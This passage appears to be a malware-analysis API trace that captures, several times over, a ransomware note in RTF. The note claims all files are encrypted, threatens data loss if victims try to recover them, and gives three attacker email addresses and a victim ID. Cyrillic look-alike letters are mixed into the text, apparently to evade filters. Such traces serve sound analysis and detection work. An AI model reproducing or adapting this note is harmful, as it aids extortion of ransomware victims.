nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s 